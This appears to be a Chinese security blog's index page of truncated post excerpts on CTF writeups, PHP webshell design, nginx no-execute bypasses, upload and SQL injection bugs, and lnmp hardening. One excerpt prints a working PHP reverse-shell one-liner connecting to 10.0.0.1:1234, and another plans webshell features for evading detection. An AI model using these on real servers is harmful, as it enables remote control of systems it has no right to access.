emlog某重要插件前台SQL注入+Getshell[该文章已设置加密,请点击标题输入密码访问] 关于lnmp目录禁止执行的绕过与正确方法无意中看到了这篇文章:http://www./articles/system/49428.html 对于下面我莫名其妙中枪的事。。。我就不多说了: 于是我详细地把文章看了一遍,文章比较基础但也不失为一个引导新手的一个方法。但其中对于禁止执行的方式,我就不敢苟同了。在某种配置下,这个方法是能够很容易被绕过的。 文中提到,使用lnmp1.1搭建的nginx环境,正好我的vps也是lnmp搭建的环境,所以我可以在我的vps里做实验。 看到文中的解决方案: 在location中,将匹配到/(avatar|uploads|ups)/.*\.(php|php5)?$的请求全部禁用掉。 似乎是一个很好的方法,那我们怎么绕过? ... 个人版php webshell的一些功能网上的webshell总结起来有一些缺陷: 1.兼容性差,当某函数禁用后,该功能就不能用了。其实php是个很灵活的语言,很多功能是可以有很多实现方式的。 2.功能单一,一般都只有常用的几个功能,不够好用。 3.突破性不强,没用利用一些php、IIS、apache、nginx的CVE来达到一些特殊目的,比如绕过open_basedir、绕过安全模式等。 4.别人写的自己不了解,维护起来不方便,免杀起来也不顺手。 特别是第一点,和第二点,我想自己的webshell能够有更好的使用效果。webshell已经写了一半,除了常见功能。大概、我希望有如下一些比较好的: 1.执行命令,囊括尽可能多的方法,和一些奇技淫巧 2.获得内网IP,并能扫描内网端口 3.利用... php webshell下直接反弹shell(不借助任何其他语言)linux下,有时候拿到webshell需要提权,提权必须要得到一个交互式的shell。 我看了一下常用的php webshell,对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两种方式,特别是proc_popen,比如phpspy。 在我收集的反弹shell集合(http://tool./getshell.html)中,有一个方法,就是在命令行中输入: php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'但是有个问题,如果在webshell里执行如上代码的话,会把系统的标准输入输出重定向到/bin/sh里,导致php-fpm直接502,然后弹的shell也会瞬间掉了,这个方式比较粗鲁。而我的思路是:我只希望把我新创建的进程(/b...
XCTF两道web题目的writeup只会web正好又是php的审计题目,于是就把两道题都做了。大牛们都忙着破各种路由器,破各种设备去了,我也侥幸得了个第一: 第一题,没怎么截图,查看代码如下: 主要是考mysql的一个trick。就是查询出来的$row['id']和$id的区别。这么说可能有点不明白,我们用一下代码fuzz一下mysql: mysql_connect("localhost","root","root"); mysql_select_db ("test"); mysql_query("set names utf8"); for($i = 0 ; $i < 256 ; $i++){ $c = chr($i); $name = mysql_real_escape_string('hehe' . $c); $sql = "SELECT * FROM... 遇到一个有趣的逻辑漏洞遇到个有趣的逻辑漏洞,和大家分享一下。
某系统数据库是mysql。user表有个code字段,类型是int(11),这个字段是保存一个随机数,用来找回密码的时候做验证,默认值是0。 找回密码时候的步骤是,首先填写自己邮箱,接收重置密码的邮件,点击链接,访问如下代码: if (!empty($_GET['email']) && !empty($_GET['code'])) XDCTF2014 部分Writeup首先我代表我们XDCTF主办方对大家说声辛苦了,十一假期本该休息却依旧奋斗在CTF第一线。我是XDCTF2014的出题人之一,也是服务器的维护者之一,关于比赛不想说太多,有太多不可控制的因素。包括中途停电之类的事情,也备受吐槽。 这份writeup是几道web题目和一个加密解密的题目,我知识面比较窄,所以题目和writeup都不能面面俱到,有一些想法在心里却最后没能放出来,所以这里也就不提了。
WEB20
“ 什么,小P说来点彩头?先出个简单的,就WEB20吧。 题目链接: WEB20
hint > 大家不知道复活节要玩什么吗?(非前端题,请勿关注html注释、css、javascript等) ”
WEB20是我很久以前就出好的一个题目,今年比赛特别多,不过一直没有被人家用上,所以就当个彩头送出来了,没想到还难倒了一批人。 考点是php彩蛋。只要运行PHP的服务器上,访问任何网页都可以在URL后添加以下字符串来查看信息: ... Fuzz中的javascript大小写特性某比赛实在有点坑人,题目涉嫌抄袭不说,还不停改来改去。算了不吐槽了,说一则javascript小特性吧。 toUpperCase()是javascript中将小写转换成大写的函数。toLowerCase()是javascript中将大写转换成小写的题目。但是这俩函数真的只有这两个功能么? 不如我们来fuzz一下,看看toUpperCase功能如何? if (!String.fromCodePoint) { (function() { var defineProperty = (function() { // IE 8 only supports `Object.defineProperty` on DOM elements try { var object = {}; var $defineProperty = Object.defineProperty; var result = $defineProperty(objec...
回忆phpcms头像上传漏洞以及后续影响暑假写的文章了,最近博客没干货,发出来娱乐一下。 为了响应爱慕锅(Mramydnei)、撸大师(索马里的海贼)、fd牛(/fd)的号召成立的parsec团队,以及各位老师多年来对我的教育,我要写篇回忆稿。看标题大家可能觉得,这陈芝麻烂谷子的事你还拿出来说啥。当然,我自己搓一点都无所谓,但怎么能丢了parsec的脸,各位还是且听我娓娓道来~
//存储flashpost图片 $filename = $dir.$this->uid.'.zip'; file_put_contents($filena... lnmp虚拟机安全配置研究众所周知,虚拟主机的安全不好做,特别是防止跨站成为了重点。apache+php服务器防止跨站的方式比较简单,网上的所有成熟虚拟主机解决方案都是基于apache的,如directadmin、cpanel。 但如今已然不是apache的时代了,在linux+nginx+mysql+php下怎么防止不同虚拟主机进行跨站? 首先我们要清楚明白Nginx是怎么运行的,再考虑怎么具体操作吧。乌云知识库里有一篇很好的文章(http://drops./tips/1323),介绍了nginx的安全配置,大家可以看看。 nginx实际上只是一个反向代理服务器,它接收到请求以后会看当前请求是否是.php文件,如果是则转交给php-fpm来处理,获得结果后再发给用户。所以有两个权限需要考虑:第一是nginx的权限,第二是php-fpm的权限。如下图,nginx和php-fpm都要读取这个文件,所以权限分配是要考虑的重要一项。 ... |
|